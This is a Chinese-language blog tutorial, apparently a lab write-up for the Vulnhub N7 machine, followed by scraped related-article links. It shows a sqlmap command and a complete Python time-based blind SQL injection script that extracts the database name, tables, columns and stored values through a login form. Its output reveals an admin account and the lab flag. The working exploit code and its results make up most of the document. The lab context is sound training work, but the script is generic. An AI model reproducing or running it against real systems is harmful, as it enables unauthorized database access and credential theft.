Python实现SQL注入脚本
实验环境
攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)
靶场测试
访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入

首先,使用Burpsuite在登录时抓包

将这个数据包保存下来


利用sqlmap,指定刚保存的post数据文件进行测试。
-r指定文件,-p指定测试参数,先测试下user参数
sqlmap -r post.txt -p user --dbs

发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。
脚本编写
首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机
select if(length((select database()))=1,sleep(3),1))
如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的
# 判断长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断
select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)
判断代码逻辑如下:
# 判断名字
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:
import requests
import string
import sys
# 所有可打印字符
all = string.printable
# 目标主机URL
url = "http://172.18.53.11/enter_network/"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
# 获取数据库名
def extract_db_name():
print("[+] Extracting db name")
db_name = []
# 判断数据库名长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
print("[+] the length of db name: " + str(db_name_len))
# 获取数据库名
print("[+] the name of db: ", end='')
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
print("\n")
return db_name
# 获取数据表的内容
def extract_tables(db_name):
db_name = "".join(db_name)
print("[+] Finding number of table in current db")
table_name = []
# 判断当前数据库中存在几张数据表
for n in range(1, 50):
payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_num = n
break
print("[+] Finding " + str(table_num) + " tables in current db")
# 判断所有数据表名的长度
print("[+] Finding the name of table in current db: ")
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name_len = n
break
# 获取当前数据库中所有的数据表
for i in range(1, table_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取列名
column_name_inject = input("Show the name of column? [y/n]")
if column_name_inject == "y" or column_name_inject == "yes":
pass
else:
sys.exit()
table_name = "".join(table_name)
table_name = table_name.split(",")
# 获取数据表中的具体内容
for table in table_name:
print("[+] Finding the column name of " + table)
columns_name = []
# 判断数据表中所有列名的长度
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
column_name_len = n
break
# 获取数据表的列名
for i in range(1, column_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取数据表中每列的值
column_value_inject = input("Show the value of column? [y/n]:")
if column_value_inject == "y" or column_value_inject == "yes":
pass
else:
sys.exit()
columns_name = "".join(columns_name)
columns_name = columns_name.split(",")
# 获取每列的内容
for column in columns_name:
column = "".join(column)
print("[+] Finding the value of " + column)
# 判断数据表所有列内容的长度
for n in range(1, 1000):
payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_values_len = n
break
# 获取数据表中每列的值
for i in range(1, columns_values_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("")
try:
db_name = extract_db_name() # 获取当前数据库名
user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名
if user_input == "y" or user_input == "yes":
extract_tables(db_name)
else:
sys.exit()
print("Done!")
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()
代码执行结果:
┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine
Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db:
login
Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role
Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!
Python实现SQL注入脚本的更多相关文章
- phpcms v9 sql注入脚本
phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...
- python防止sql注入的方法
python防止sql注入的方法: 1. 使用cursor.execute(sql, args)的参数位: sql_str = "select * from py_msgcontrol.py ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- Python防止sql注入
看了网上文章,说的都挺好的,给cursor.execute传递格式串和参数,就能防止注入,但是我写了代码,却死活跑不通,怀疑自己用了一个假的python 最后,发现原因可能是不同的数据库,对于字符串的 ...
- 笔记:Python防止SQL注入
非安全的方式,使用动态拼接SQL 输入' or 1 = 1 or '1 sql ="""SELECT * FROM goods WHERE name = '%s';&qu ...
- 常规SQL注入脚本
一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...
- SQL注入脚本(基于时间)
#encoding=utf-8 import httplib import time import string import sys import urllib header = {'Accept' ...
- python 防止sql注入字符串拼接的正确用法
在使用pymysql模块时,在使用字符串拼接的注意事项错误用法1 sql='select * from where id="%d" and name="%s" ...
- 手动方式SQL注入脚本命令之精华版
.判断是否有注入;and = ;and = .初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and ...
- 禁用substr、substring、mid函数的sql注入脚本
#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...
随机推荐
- 《ASP.NET Core 微服务实战》-- 读书笔记(第12章)
第 12 章 设计汇总 微服务开发并不是要学习 C#.Java 或者 Go 编程--而是要学习如何开发应用以适应并充分利用弹性伸缩环境的优势,它们对托管环境没有偏好,并能瞬间启停 换句话说,我们要学习 ...
- Python 爬虫方法总结
实现爬虫的套路 准备URL 准备start_url url地址规律不明显,总数不确定 通过代码提取下一页的url 通过xpath提取 寻找url地址,部分参数在当前的响应中(比如当前页码数和总页码数在 ...
- CF1010C Border 题解
题目传送门 前置知识 最大公约数 | 裴蜀定理 简化题意 给定一个长度为 \(n\) 的序列 \(a\),求 \((\sum\limits_{i=1}^{n}d_ia_i) \bmod k\) 一共会 ...
- 【JS】强化Promise理解,从零手写属于自己的Promise.all与Promise.race
壹 ❀ 引 在一个思路搞定三道Promise并发编程题,手摸手教你实现一个Promise限制器一文中,我们在文章结尾留了一个疑问,关于第三题的实现能否解决当每次调用时间都不相等的情况(比如第二次调用要 ...
- NC20573 [SDOI2011]染色
题目链接 题目 题目描述 给定一棵有n个节点的无根树和m个操作,操作有2类: 1.将节点a到节点b路径上所有点都染成颜色c: 2.询问节点a到节点b路径上的颜色段数量(连续相同颜色被认为是同一段),如 ...
- NC50493 石子合并
题目链接 题目 题目描述 将n堆石子绕圆形操场排放,现要将石子有序地合并成一堆.规定每次只能选相邻的两堆合并成新的一堆,并将新的一堆的石子数记做该次合并的得分. 请编写一个程序,读入堆数n及每堆的石子 ...
- springboot jpa自定义SQL查询
说明 在使用JPA实现数据持久化过程中经常会遇到这种情况:我有2张表是一对多的关系,需要通过一个外键ID去关联查询到另外一张表的字段.例如,1张商品表food_info其中存有商品分类ID categ ...
- Taurus.MVC WebMVC 入门开发教程2:一个简单的页面呈现
前言: 在上一篇中,我们了解了如何下载.配置和运行 Taurus.MVC WebMVC 框架. 现在,让我们开始编写一个简单的页面并进行呈现. 步骤1:创建控制器 首先,我们需要创建一个控制器来处理页 ...
- 用Docker发布Study.BlazorOne.Blazor到公网测试服务器
# 1.准备公网上的测试数据库. 之前我们在Visual Studio里面调试的时候,使用的都是localhost的数据库.现在需要在公网上准备一个SQL Server.然后执行下面的步骤 1)把St ...
- Avalonia 跨平台框架中如何以正确的姿势使用 OpenGL ES 渲染。
前言 这是一篇很水的文章,没有任何技术含量,在 Github 已经有很多人对 Avalonia 的 OpenGL ES 支持进行了讨论,但是我还是想写一篇文章来记录一下我是如何在 Avalonia 中 ...